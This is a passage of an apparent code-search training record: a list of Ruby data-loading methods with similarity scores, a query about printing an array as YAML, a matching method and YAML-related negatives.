FIXME: use @app_delim\n row = line.chomp.split \"\\t\"\n @data << row\n end\n $valid_array = true\n end", "def initialize(path)\n\t\t\n\t\t# if data directory or json file don't exist, create them\n\t\tunless Dir.exist?(\"./data\")\n\t\t\tDir.mkdir(\"./data\")\n\t\tend\n\n\t\tunless File.exist?(path)\n\t\t\tFile.open(path, \"w\") { |f|\n\t\t\t\tf.write(\"[]\")\n\t\t\t\tf.close\n\t\t\t}\n\t\tend\n\n\t\t# read json file to memory and parse to Array\n\t\t@json_file = File.read(path)\n\t\t@json_data = JSON.parse(@json_file)\n\tend", "def loadDataFromDisk\n begin\n data = NSKeyedUnarchiver.unarchiveObjectWithFile(pathForDataFile)\n print \"(Init) Loaded user data from disk: #{data.inspect}\\n\"\n rescue\n print \"(Init) Corrupt data store! Unarchiving failed! #{$!}\\n\"\n end\n self.user = ApplicationData.new(data)\n end", "def rebuild\n [\"jpeg\", \"jpg\", \"png\", \"gif\"].each do |type|\n p = \"#{@root}#{@ds}**#{@ds}*.#{type}\"\n Dir[p].each do |path|\n @cached_list[path.split(@ds).last] ||= path\n end\n end\n @cached_list\n end", "def load_objects(dir_name, klass)\n all_base_filenames_in(dir_name).map do |base_filename|\n load_object(dir_name, base_filename, klass)\n end\n end", "def load_data(dir_path,file_name=nil)\n \tloca_path='/Users/jinfenglin/Dropbox/cosi105b_jinfenglin/movies-2/'\n\t\tif file_name\n base=loca_path+dir_path+'/'+file_name.to_s+'.base'\n test=loca_path+dir_path+'/'+file_name.to_s+'.test'\n base_file=open(base)\n test_file=open(test)\n build_database(base_file,@base_data_user_key,@base_data_movie_key)\n build_database(test_file,@test_data_user_key,@test_data_movie_key)\n else\n path=loca_path+dir_path+'/u.data'\n file=open(path)\n build_database(file,@base_data_user_key,@base_data_movie_key)\n end\n end", "def load cxr\n where(cxx: cxr, hub: nil).delete_all\n #cxr_origins = OagSchedule.hub(hub).where(dest_apt: hub).pluck(:origin_apt, :airline_code, :mkt_cxrs ).uniq\n #cxr_dests = OagSchedule.hub(hub).where(origin_apt: hub).pluck(:dest_apt,:airline_code).uniq\n\n #origins = OagSchedule.cxr(cxr).distinct()\n direct_flight_records = []\n\n #origins = OagSchedule.cxr(cxr).pluck(:origin_apt, :airline_code, :mkt_cxrs).uniq\n\n schedules = OagSchedule.cxr(cxr).select(:origin_apt, :dest_apt, :airline_code, :mkt_cxrs).distinct\n cxr_schedules = schedules.group_by{|flt| [flt.origin_apt, flt.dest_apt] }.map{ |apt_pair,sched_a|\n [apt_pair, (sched_a.map{|sched| sched.airline_code } +\n sched_a.map{|sched| sched.mkt_carriers}.flatten(1)).uniq]}\n cxr_schedules.sort!\n cxr_schedules.each do |combo|\n direct_flight_records << new(cxx: cxr, origin: combo[0][0], dest: combo[0][1], carriers: combo[1])\n end\n ##origins = OagSchedule.for_cxr(cxr).pluck(:origin_apt).uniq\n #origins.each do |o_apt|\n # dest_apts = OagSchedule.cxr(cxr).where(origin_apt: o_apt).pluck(:dest_apt, :airline_code).uniq\n # dest_apts.each do |dest_apt|\n # direct_flight_records << new(cxx: cxr, origin: o_apt, dest: dest_apt)\n # end\n #end\n DirectFlight.import direct_flight_records\n end", "def set_up_local_data\n Player.deserialize_from_file('players.dat')\n Game.deserialize_from_file('games.dat')\n Performance.deserialize_from_file('performance.dat')\n end", "def load\r\n \r\n end", "def reload\n old_data = @data.dup\n self.load\n @data = old_data.merge! @data\n end", "def load!\n path = path()\n raise \"data object #{@type}:#{@id} does not exist\" unless File.directory? path\n @fields = Configuration.new path, 'metadata'\n @fields.dup.each do |k, v|\n if (cfg = @type[k])\n @fields[k] = Field.from(@repo, cfg).set(v)\n else\n warn \"unrecognised metadata #{k} = #{v.inspect}\"\n @fields[k] = v\n end\n end\n @type.each_field do |k, cfg|\n next if @fields[k]\n fieldobj = Field.from(@repo, cfg)\n if (dflt = fieldobj.default)\n @fields[k] = fieldobj.tap{|f| f.default! }\n elsif fieldobj.required?\n raise \"data object #{@type}:#{@id} missing required field #{k}\"\n end\n end\n self\n end", "def load_data folder, klass\n\tDir.entries(\"data/#{folder}\").each do |e|\n\t\tnext unless e =~ /^(\\w[\\w\\d]+)\\.rb$/i\n\n\t\tname = $1\n\t\tname[0] = name[0].upcase\n\n\t\tObject.__send__(:eval,\n\t\t\t\t\"class #{name} < #{klass}\\r\\n\" + \n\t\t\t\t\tFile.read(\"data/#{folder}/#{e}\") +\n\t\t\t\t\"\\r\\nend\"\n\t\t)\n\tend\nend", "def ingest_object(row)\n\n @touch = File.join(\"/tmp\", row[\"exportedAs\"])\n \n unless File.exists?(@touch)\n obj = File.join(@directory, File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n sourceFile = File.join(obj,File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n \n if File.exists?(obj)\n # Gets a new PID\n pid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n #testing stuff\n #pid = \"druid:1\"\n \n fedora_obj = AimsDocument.new(:pid => pid)\n fedora_obj.label = File.basename(obj)\n fedora_obj.save\n print obj + \" ===> \"\n # now glob the object directory and makes datastreams for each of the files and add them as datastream to the fedora object.\n # fedora_obj.save\n \n dsid = 'rightsMetadata'\n xml_content = fedora_obj.datastreams_in_memory[dsid].content\n ds = Hydra::RightsMetadata.from_xml(xml_content)\n pid = fedora_obj.pid\n ds.pid = pid\n ds.dsid = dsid\n fedora_obj.datastreams_in_memory[dsid] = ds\n permissions = {\"group\"=>{\"public\"=>\"read\", \"archivist\" => \"edit\", \"researcher\" => \"read\", \"patron\" => 'read', \"donor\" => 'edit' }, \"person\" => {\"archivist1\" => \"edit\"}}\n ds.update_permissions(permissions)\n permissions = {\"group\" => {\"public\"=>\"read\"}}\n ds.update_permissions(permissions)\n \n fedora_obj.save\n \n Dir[\"#{obj}/**/**\"].each do |f|\n \n #damn OS X spotlight. \n unless f.include?('DS_Store')\n \n # text files and jp2000s get added as datastreams in the object. the wordperfect files get added as their own objects\n if f =~ /(.*)\\.(txt)/\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n \n elsif f =~ /(.*)\\.(pdf)/\n fedora_obj.add_datastream(create_file_ds(f, 'pdf', \"#{File.basename(f)}.pdf\"))\n elsif f =~ /(.*)\\.(jp2)/\n # Below is if you want to not have the jp2 imported into fedora. it will just move them to a directory.\n #jp2_dir = File.join('/tmp', fedora_obj.pid.gsub(\"druid:\", \"druid_\"))\n #FileUtils.mkdir_p(jp2_dir) unless File.directory?(jp2_dir)\n #FileUtils.cp(f, jp2_dir, :verbose => true)\n # Below this adds the jp2000s into fedora.\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n\t\t elsif f == sourceFile #source file gets its own fedora object. \n cpid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n child_obj = FileAsset.new(:pid => cpid)\n child_obj.label = File.basename(f)\n dc = child_obj.datastreams['descMetadata']\n dc.extent_values << File.size(f)\n \n \n fedora_obj.add_relationship(:has_part, child_obj )\n fedora_obj.add_relationship(:has_collection_member, child_obj)\n puts \"processing:#{f} for objectID #{cpid}\"\n ext = File.extname(f)\n id = \"DS1\"\n label = File.basename(f)\n child_obj.add_datastream(create_file_ds(f, id, label ))\n child_obj.save\n print f + \"\\n\"\n else\n puts \"not a file to ingest ==> #{f}\"\n end #if\n end #unless\n end #dir\n \n dm = fedora_obj.datastreams[\"descMetadata\"]\n prop = fedora_obj.datastreams[\"properties\"]\n \n labels = row[\"labels\"].split(',')\n \n loutput = {\"subjects\" => [], \"access\" => []}\n doc_values = { \"D\" => \"Document\", \"S\" => \"Spreadsheet\", \"E\" => \"Email\", \"IM\" => \"Image\", \"V\" => \"Video\", \"SO\" => \"Sound\"} \n comp_values = {\"CM:5.25\" => \"5.25 inch. floppy diskettes\", \"CM:3.5\" => \"3.5 inch. floppy diskettes\", \"CM:P\" => \"Punch cards\", \"CM:T\" => \"Tape\" }\n access_values = {\"O\" => \"owner\", \"A\" => \"Archivists\", \"I\" => \"Invited\", \"P\" =>\"Public\", \"M\"=>\"Reading\"}\n \n \n labels.each do |l|\n if doc_values.has_key?(l)\n loutput[\"doctype\"] = doc_values[l]\n elsif comp_values.has_key?(l)\n loutput[\"mediatype\"] = comp_values[l]\n elsif access_values.has_key?(l)\n loutput[\"access\"] << access_values[l]\n elsif l.include?(\"S:\")\n loutput[\"subjects\"] << l.gsub(\"S:\", '') \n end #if\n end #do\n \n pp(loutput)\n prop.collection_values << \"Steven J. Gould\"\n prop.pages_values << number_of_pages(fedora_obj)\n prop.path_values << row['path']\n prop.file_size_values << row['size']\n prop.md5_values << row['md5']\n prop.sha1_values << row['sha1']\n prop.file_type_values << row['type']\n prop.filename_values << File.basename(obj)\n \n dm.isPartOf_values = row[\"subseries\"].gsub(/[0-9]|Bookmark:|\\./,\"\").strip\n dm.source_values << row['filename']\n dm.type_values << loutput['doctype']\n dm.format_values << loutput[\"mediatype\"]\n \n \n \n loutput['subjects'].each { |s| dm.subject_values << s.gsub(\"S:\", \"\") }\n \n dm.save\n prop.save\n fedora_obj.save\n\n solr_doc = fedora_obj.to_solr\n solr_doc << Solr::Field.new( :discover_access_group_t => \"public\" )\n ActiveFedora::SolrService.instance.conn.update(solr_doc)\n FileUtils.mkdir_p(@touch)\n end #unless\n end #if exists? \n rescue Exception => e \n puts e.backtrace\n\tputs \"erroring....\"\n sleep(300)\n return nil\n rescue Timeout::Error => e\n puts \"timeout error ....\" \n sleep(350)\n\n \n end", "def load_dataE(filename)\r\n Log.ger.debug('Read '+filename)\r\n File.open(filename, \"rb\") { |f|\r\n obj = Marshal.load(f)\r\n }\r\nend", "def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n row = line.chomp.split( @app_delim ) \n @data << row\n end\n $valid_array = true\n end", "def initialize(folder)\n @density_hash = {}\n read_books(folder)\n @result_array = []\n end", "def load_data\n examples = Dir.glob('spec/support/*.ldif')\n res = examples.each_with_object({}) do |ex,hsh|\n _klass, name = File.basename(ex, '.ldif').split('_')\n nete = Net::LDAP::Entry.from_single_ldif_string(File.read(ex))\n entry = AdDir::Entry.from_ldap_entry(nete)\n instance_variable_set(\"@#{name}\", entry)\n hsh[name.to_sym] = nete\n end\nend", "def load(handle, args={})\n File.open(handle) do |handle|\n db = DnaIO.new handle\n db.each do |record|\n self.add(record.sequence, record.name)\n end\n end\n end", "def data\n @data ||= Dir['data/*'].reduce({}) do |data, file|\n raw_data = File.read(file)\n filename = parse_filename(file)\n schema = schemas[filename]\n\n data[filename] = raw_data.split(\"\\n\").map do |row|\n schema.reduce({}) do |object, column|\n # slice from the beginning of the row the relevant number of\n # characters based on the column's attribute length\n raw_value = row.slice!(0, column[:length].to_i)\n\n parsed_value = parse_attribute(raw_value, column[:type])\n object[column[:name]] = parsed_value\n object\n end\n end\n end\n end", "def load_from_file(filename,clean)\n\t\tbegin\n\t\t\t@clusters = []\n\t\t\t@items = []\n\t\t\t\n\t\t\traise IOError.new(\"#{filename} not found\") if not File.exists?(filename)\n\t\t\t\n\t\t\tIO.foreach(filename) do |line|\n\t\t\t\tlabel, items = *line.split(\":\",2).map { |x| x.strip }\n\t\t\t\titems = items.split(\" \").map { |x| (x.respond_to?(:to_sym) and not x.to_sym.nil?) ? x.to_sym : x }\n\t\t\t\titems = items - @items if clean\n\t\t\t\tif items.size > 0\n\t\t\t\t\titems.reject! { |x| @items.include?(x) }\n\t\t\t\t\tcluster = Cluster.new(items,label)\n\t\t\t\t\t@items = @items | cluster.items\n\t\t\t\t\[email protected] cluster\n\t\t\t\tend\n\t\t\tend\n\t\trescue IOError\n\t\t\traise $!\n\t\tend\n\tend", "def createLayers()\n @layers_array = import() \n end", "def loadComData\n @comData = Hash.new\n\n # Load direct communication targets from file\n File.open(PATH_COM_DATA).each_line do |line|\n # Warning: This is only generated every few steps per agent and thus not symmetric (as it should be)\n data = line.split(\"\\t\")\n next if data[0] == \"SimTime\"\n\n # Format: Time / Autoindex / Direct Communication\n @comData[data[0]] ||= Hash.new\n @comData[data[0]][data[1]] ||= Set.new\n\n targets = convert_can_data_to_system(data[2]).split(\",\")\n\n @comData[data[0]][data[1]].merge targets\n end\n\n debug \"Repairing data\"\n # Repair data: Direct communication targets should be symmetric\n @comData.each do |time, data|\n data.each do |car, targets|\n targets.each do |target|\n # Add car to target's targets if car can comunicate with target\n @comData[time][target] ||= last_com_for_car(target, time)\n @comData[time][target] << car\n end\n end\n end\n\n debug \"Loaded communication data\"\n end", "def generate_data_files\n files = {}\n\n # extracted data\n @classes.each do |category|\n files[category] = {}\n folder = File.join(@res, 'data', category.to_s, 'extracted')\n\n files[category][:extracted] = File.join(folder, \"#{category}.json\")\n end\n\n # divided data\n @classes.each do |category|\n files[category][:divided] = {}\n folder = File.join(@res, 'data', category.to_s, 'divided')\n\n @subsets.each do |subset|\n files[category][:divided][subset] = File.join(folder,\n \"#{category}_#{subset}.json\")\n end\n end\n\n # preprocessed data\n @classes.each do |category|\n files[category][:preprocessed] = {}\n\n @preproc.each do |preprocess|\n folder = File.join(\n @res, 'data', category.to_s, 'preprocessed', preprocess.to_s)\n\n files[category][:preprocessed][preprocess] = {}\n\n @subsets.each do |subset|\n files[category][:preprocessed][preprocess][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n\n # transformed data\n if @trans.size > 0\n @classes.each do |category|\n files[category][:transformed] = {}\n\n @trans.each do |transformation|\n @preproc.each do |preprocess|\n ctrans = :\"#{transformation}_#{preprocess}\"\n\n folder = File.join(\n @res, 'data', category.to_s, 'transformed', ctrans.to_s)\n\n files[category][:transformed][ctrans] = {}\n\n @subsets.each do |subset|\n files[category][:transformed][ctrans][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n end\n end\n\n # classified data\n if @classifs.size > 0\n @classes.each do |category|\n files[category][:classified] = {}\n\n @classifs.each do |classifier|\n @trans.each do |transformation|\n @preproc.each do |preprocess|\n ctrans = :\"#{classifier}_#{transformation}_#{preprocess}\"\n\n folder = File.join(\n @res, 'data', category.to_s, 'classified', ctrans.to_s)\n\n files[category][:classified][ctrans] = {}\n\n @subsets.each do |subset|\n files[category][:classified][ctrans][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n end\n end\n end\n files\n end", "def load_from_file(file_name)\n # Load data\n saved_data = nil\n File.open(file_name, 'rb') do |file|\n if (file.read(FILE_HEADER.size) == FILE_HEADER)\n saved_data = RubySerial::load(Zlib::Inflate.inflate(file.read))\n else\n notify \"Invalid file: #{file_name}\"\n end\n end\n if (saved_data != nil)\n reset_session\n @data = saved_data[:data]\n @dir_scanner.replace_data(@data)\n # Create all dirlines\n saved_data[:dest_dir_names].each do |dir_name|\n add_new_dest_dirline(dir_name)\n end\n saved_data[:src_dir_names].each do |dir_name|\n add_new_src_dirline(dir_name)\n end\n notify(\"File #{file_name} loaded correctly\")\n @current_file_name = file_name\n invalidate_current_loaded_file\n end\n end", "def init_gamedata\r\n file = File.open(@filename, \"r\")\r\n @time_stamp = file.mtime\r\n @characters = Marshal.load(file)\r\n @frame_count = Marshal.load(file)\r\n @game_system = Marshal.load(file)\r\n @game_switches = Marshal.load(file)\r\n @game_variables = Marshal.load(file)\r\n @total_sec = @frame_count / Graphics.frame_rate\r\n file.close\r\n end", "def load_csv\n CSV.foreach(@file_path) do |row|\n # Our CSV stores strings only - so we must initialize all our recipes\n recipe = Recipe.new(row[0],row[1])\n # We push them into the cookbook recipes array\n @recipes << recipe\n end\n end", "def get_data filename=nil\n unless filename\n filename = $filename\n else\n $filename = filename\n end\n raise \"File name not found #{filename} in get_data \" if !File.exists?(filename)\n #lines = File.open(filename, \"r\").read.split(\"\\n\")\n #if lines.nil? or lines.empty?\n #perror \"Failed trying to read #{filename}. Please delete if empty \"\n #lines = [\"no data\", \"no data, please refresh\"]\n #end\n obj = YAML::load( File.open( filename ) )\n $yaml_obj = obj\n age = compute_file_age filename\n articles = obj[:articles]\n if articles.empty?\n # this happens when doing More with a stale url\n perror \"No articles in this file. Please delete file.\"\n return\n end\n colh = articles.first.keys\n colh = [:title\t,:age_text\t,:comment_count\t,:points\t,:article_url\t,:comments_url\t,:age\t,:submitter\t,:submitter_url\t,:byline]\n $forum_bgcolor = BOLD\n $forum_bgcolor = ON_RED if age > 8\n # this should only happen if columns are in row 0\n # # FIXME\n $column_headings = colh\n $full_data = Array.new\n # there will be a path also at some time\n #$subforum = filename.sub(File.extname(filename),\"\").sub(\"__\",\"/\")\n $subforum = file_to_forum(filename)\n $host = forum_to_host $subforum\n titles = Array.new\n articles.each do |a|\n titles << a[:title]\n _cols = []\n $column_headings.each do |c|\n _cols << a[c] \n end\n $full_data << _cols\n end\n perror \"No data for #{filename} \" if $full_data.empty?\n raise \"No data for #{filename} \" if $full_data.empty?\n #lines.each_with_index do |l, ix|\n #_cols = l.split(\"\\t\")\n #titles << _cols.first\n #$full_data << _cols\n #end\n calc_column_widths\n size_column_headings\n $files = titles\nend", "def reload\n @a.clear\n if File::exists? @file\n begin\n Zlib::GzipReader.open(@file) do |gz|\n x = JSON.parse(gz.read)\n x.each{|k,v| @a.store(k,v)}\n end\n rescue Zlib::Error\n raise \"We could not reload #{@file} it may be corrupted\"\n rescue JSON::ParserError\n end \n else\n Zlib::GzipWriter.open(a).close \n end\n end", "def load_data\n # @categories = Category.find(:all)\n # @infoitems = Expert.find(:all)\n end", "def loadArray\n clearScreen\n @boxGoalCoord=[]\n @levelArr=[]\n\n lineCount=0\n #open the file and make each line an element in the 2d array @levelArr\n File.readlines(\"./levels/level#{@levelNo}.xsb\").each do |line|\n #initialize the subarray 'charArr'\n charArr=[]\n\n xCount=1\n line.each_char do |char|\n #push new element to the array subarray 'charArr'\n if char=='.'\n @boxGoalCoord.push(\"#{xCount},#{lineCount}\")\n end\n charArr.push(char)\n xCount+=1\n end\n #add the sub array 'charArr' to the whole file array 'fileArr'\n @levelArr.push(charArr)\n lineCount+=1\n end\nend", "def data\n @data ||= file? ?\n repos.file(fs_path, revision) :\n repos.dir(fs_path, revision)\n end", "def load_inp(filename,runner = nil)\n BTAP::runner_register(\"Info\", \"loading file:\" + filename, runner)\n #Open the file.\n #puts filename\n iter = 0\n\n\n File.exist?(filename)\n f = File.open(filename, \"r\")\n\n\n\n\n #Read the file into an array, line by line.\n lines = f.readlines\n #Set up the temp string.\n command_string =\"\"\n #iterate through the file.\n parents = Array.new()\n children = Array.new()\n lines.each do|line|\n iter = iter.next\n #line.forced_encoding(\"US-ASCII\")\n #Ignore comments (To do!...strip from file as well as in-line comments.\n if (!line.match(/\\$.*/) )\n\n if (myarray = line.match(/(.*?)\\.\\./) )\n #Add the last part of the command to the newline...may be blank.\"\n command_string = command_string + myarray[1]\n #Determine correct command class to create, then populates it.\"\n command = DOECommandFactory.command_factory(command_string, self)\n #Push the command into the command array.\"\n @commands.push(command)\n command_string = \"\"\n else\n myarray = line.match(/(.*)/)\n command_string = command_string + myarray[1]\n end\n end\n end\n \n organize_data()\n BTAP::runner_register(\"Info\",\"INP model contains:\", runner)\n #report number of things read in. \n [\"SPACE\",\"ZONE\",\"EXTERIOR-WALL\",\"ROOF\",\"INTERIOR-WALL\",\"UNDERGROUND-WALL\",\"WINDOW\",\"DOOR\",\"MATERIAL\",\"CONSTRUCTION\"].each do |item|\n items = self.find_all_commands(item)\n message = \"\\t#{item} = #{items.size}\"\n BTAP::runner_register(\"Info\",message, runner)\n end\n BTAP::runner_register(\"Info\", \"\\tFinished Loading File:\" + filename,runner)\n end", "def prepare_db_data( f, cl, tbd, df )\n s = File::Stat.new( f )\n if ! s\n puts \"couldn't stat #{f}\\n\"\n next\n end\n\n # grab extension\n m = /(\\.\\w+)$/.match( f )\n if m && m[1]\n # yes it's redundant, but this way, if the file is outside of it's directory i have half a chance of knowing what it is\n new_pathfile = s.mtime.strftime( \"%m/%d/%m%d%H%M\" ) + m[1]\n else \n puts \"couldn't find file extension for #{f}\\n\"\n next\n end\n\n md5_checksum = Digest::MD5.hexdigest( File.read( f ) )\n\n # make directories if needed\n testfile = tbd + s.mtime.strftime( \"/%m\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n testfile += s.mtime.strftime( \"/%d\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n # copy file to new location\n FileUtils.copy( f, \"#{tbd}/\" + new_pathfile )\n\n # save data for db push\n df.push( { :class => cl, :created_text_date => s.mtime, :created_epoch_seconds => s.mtime.to_i, :pathfile => new_pathfile, :md5_checksum => md5_checksum } )\nend", "def load_data(c)\n return nil unless c.has_key?(\"data\")\n\n #single resource, but instantiate it and stick it in an Array\n return [mapped_type(c[\"data\"][\"type\"]).new(c[\"data\"], self)] if c[\"data\"].is_a? Hash\n\n # Instantiate Resources for each array element\n return c[\"data\"].map{|d| mapped_type(d[\"type\"]).new(d, self)}\n end", "def generate_cards\n # no need to assign or return @cards here.\n # switching from .each to .map implictly returns the updated array\n # call the generate_cards during initialize to assign to instance variable\n File.open(@filename).map do |line|\n question = line.split(',')[0]\n answer = line.split(',')[1]\n category = line.split(',')[2].delete(\"\\n\")\n card = Card.new(question, answer, category)\n end\n end", "def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end", "def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end", "def build_cls_list(file_name, arr)\n file = File.open(file_name, \"r\")\n while !file.eof?\n line = file.readline.chomp\n arr.push(line)\n end\n file.close\nend", "def load\n @all = [] #contains all template objects\n\n template_dir = Gem.datadir('moo') + '/templates/'\n\n template_files = Dir.entries(template_dir).reject do |t|\n t == '.' || t == '..'\n end\n\n template_files.each do |f|\n path = template_dir + f\n @all << Template.new(path)\n end\n end", "def load_instance(sub_paths, sub_paths_index, size, modification_time)\n # initialize dirs and files.\n @dirs = {} unless @dirs\n @files = {} unless @files\n if sub_paths.size-1 == sub_paths_index\n # Add File case - index points to last entry - leaf case.\n file_stat = FileStat.new(sub_paths[sub_paths_index], FileStatEnum::STABLE, size, modification_time, true)\n add_file(file_stat)\n else\n # Add Dir to tree if not present. index points to new dir path.\n dir_stat = @dirs[sub_paths[sub_paths_index]]\n #create new dir if not exist\n unless dir_stat\n dir_stat = DirStat.new(sub_paths[sub_paths_index])\n add_dir(dir_stat)\n end\n # continue recursive call on tree with next sub path index\n dir_stat.load_instance(sub_paths, sub_paths_index+1, size, modification_time)\n end\n end", "def load_data(file_path)\n json_data = JSON.parse(File.read(file_path))\n @processed_favs = json_data.map do |fav|\n fav.transform_keys(&:to_sym) \n end\n\n i = 0\n while i < @processed_favs.length\n\n items = @processed_favs[i][:name]\n @fav_list << items\n\n i += 1\n end\n rescue Errno::ENOENT\n File.open(file_path, 'w+')\n File.write(file_path, [])\n retry\n end", "def import\n fragments.each(&:destroy)\n File.open(bin_file_name, \"rb\") do |f|\n order = 0\n new_lines = 0\n until f.eof?\n new_lines += import_next_object(f, order)\n order += 1\n end\n update! lines: new_lines\n end\n add_locations\n end", "def data_files\n bag.bag_files.map {|f| Pathname.new(f) }\n end", "def reload\n if (mtime = File::mtime(@path)) > @mtime\n @group.clear\n File.open(@path){|io|\n while line = io.gets\n line.chomp!\n group, members = line.split(/:\\s*/)\n @group[group] = members.split(/\\s+/)\n end\n }\n @mtime = mtime\n end\n end", "def load\n (Dir.entries(@path) - %w(. .. ca.crt)).each do |entry|\n certificate_path = File.join(@path, entry)\n self << CertificateDepot::Certificate.from_file(certificate_path)\n end\n end", "def load_dicom(file)\n #obj = DICOM::DObject.new(file, :verbose => false)\n #if obj.read_success\n # Load image as RMagick object:\n #@image = obj.get_image_magick(:rescale => true)\n @image = ImageList.new(file)\n puts \"@image.class: #{@image.class}\"\n unless @image # Load an empty image object.\n @image = Magick::ImageList.new\n @image.new_image(0,0){ self.background_color = \"black\" }\n end\n # Add information from the DICOM object to the the tree model and update widgets:\n #model = TreeModel.new(obj)\n #@treeView.model = model\n @imageWidget.load_pixmap\n #else # Failed:\n # Qt::MessageBox.warning(self, tr(\"Open file\"), tr(\"Error: Selected file is not recognized as a DICOM file.\"))\n #end\n end", "def load_data(filename)\n if File.exist? filename\n File.foreach (filename) do |line|\n line = line.chomp.split(\" \").map(&:to_i)\n if line.length == 1\n @num_vertices = line[0]\n next\n else\n @edges << [line[2], line[0], line[1]]\n if !@groups[line[0]]\n @groups[line[0]] = [line[0]]\n @leader_pointers[line[0]] = line[0]\n end\n if !@groups[line[1]]\n @groups[line[1]] = [line[1]]\n @leader_pointers[line[1]] = line[1]\n end \n end\n end\n end\n # sort edges costs\n @edges.sort! { |a, b| a[0] <=> b[0] }\n end", "def reload!\n initialize(@file_root)\n end", "def reset!\n Cnfs.data_store.reset\n reload!\n SegmentRoot.load\n true\n end", "def load_data\n @data ||= CSV.read(@file)\n end", "def load\n @models = []\n\n # \n files = \n if File.directory?(config_path) \n files_in_dir = []\n Dir[config_path + \"/*.yml\"].each do |file|\n files_in_dir << file\n end\n files_in_dir\n elsif File.file?(config_path)\n [config_path]\n else\n nil\n end\n\n return nil if files.nil?\n\n # \n @models = files.inject(@models) do |models, file|\n begin\n yaml = YAML.load_file(file)\n rescue => ex\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n if yaml.nil?\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n models + yaml2models(yaml)\n end.extend(ArrayMethods)\n end" ]
[ "0.61838716", "0.6133119", "0.60826916", "0.6002441", "0.5861809", "0.580101", "0.57330096", "0.57263875", "0.5702215", "0.5701463", "0.56642497", "0.5632797", "0.56065613", "0.5599126", "0.559481", "0.5567548", "0.5563865", "0.55603504", "0.55561924", "0.5518134", "0.55130875", "0.5478901", "0.547317", "0.54697686", "0.54623103", "0.54513896", "0.54495823", "0.54322153", "0.54206574", "0.54026586", "0.54016215", "0.5398692", "0.5384344", "0.5372235", "0.5369367", "0.532014", "0.5315821", "0.5309626", "0.5306514", "0.5304968", "0.53034997", "0.5294374", "0.52911496", "0.5278901", "0.5277485", "0.5277485", "0.5277485", "0.52757436", "0.5270815", "0.52699757", "0.52687365", "0.5268058", "0.5260918", "0.526058", "0.5258998", "0.52470005", "0.5234202", "0.52307576", "0.52302295", "0.52211624", "0.5219453", "0.5218667", "0.5208044", "0.52050614", "0.5204384", "0.51997614", "0.51880825", "0.51788414", "0.51786476", "0.51784724", "0.51725125", "0.51694167", "0.5168595", "0.5162692", "0.51595044", "0.51586205", "0.51582474", "0.51484406", "0.5147985", "0.5147679", "0.5128486", "0.51257783", "0.51076543", "0.5100811", "0.509831", "0.509831", "0.5090267", "0.50889146", "0.50868875", "0.508506", "0.50827503", "0.5080868", "0.50767106", "0.50687957", "0.5067382", "0.5065909", "0.5061011", "0.5060071", "0.5058417", "0.50571495" ]
0.5884355
4
prints data from the array to screen in human readable yaml format
def show_data puts $cd_arr.to_yaml end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ouput_yaml\n array = Array.new(@size * @size, 0)\n File.open('test_yaml.out', 'w') { |file| file.puts YAML.dump(array) }\n end", "def to_yaml() end", "def yaml_display(env, \n options = {}, \n colors = DbAgile::Core::Schema::STATUS_TO_COLOR, \n indent = 0)\n env.display(\"---\\nlogical:\")\n logical.yaml_display(env, options, colors, indent + 1)\n env.display(\"\\n---\\nphysical:\")\n physical.yaml_display(env, options, colors, indent + 1)\n end", "def to_yaml\n # write yaml\n end", "def yaml\n config = fetch(@variable, {})\n stringified = if config.respond_to?(:deep_stringify_keys)\n config.deep_stringify_keys\n else\n # TODO: remove when dropping rails 3 support\n # two level stringify for rails 3 compatibility\n config.stringify_keys.each_value(&:stringify_keys!)\n end\n stringified.to_yaml\n end", "def to_yaml\n return @data.to_yaml\n end", "def y(obj)\n puts obj.to_yaml\nend", "def y(obj)\n puts obj.to_yaml\nend", "def to_yaml\n longest_track_name_length =\n @tracks.keys.inject(0) do |max_length, name|\n (name.to_s.length > max_length) ? name.to_s.length : max_length\n end\n ljust_amount = longest_track_name_length + 7\n \n yaml = 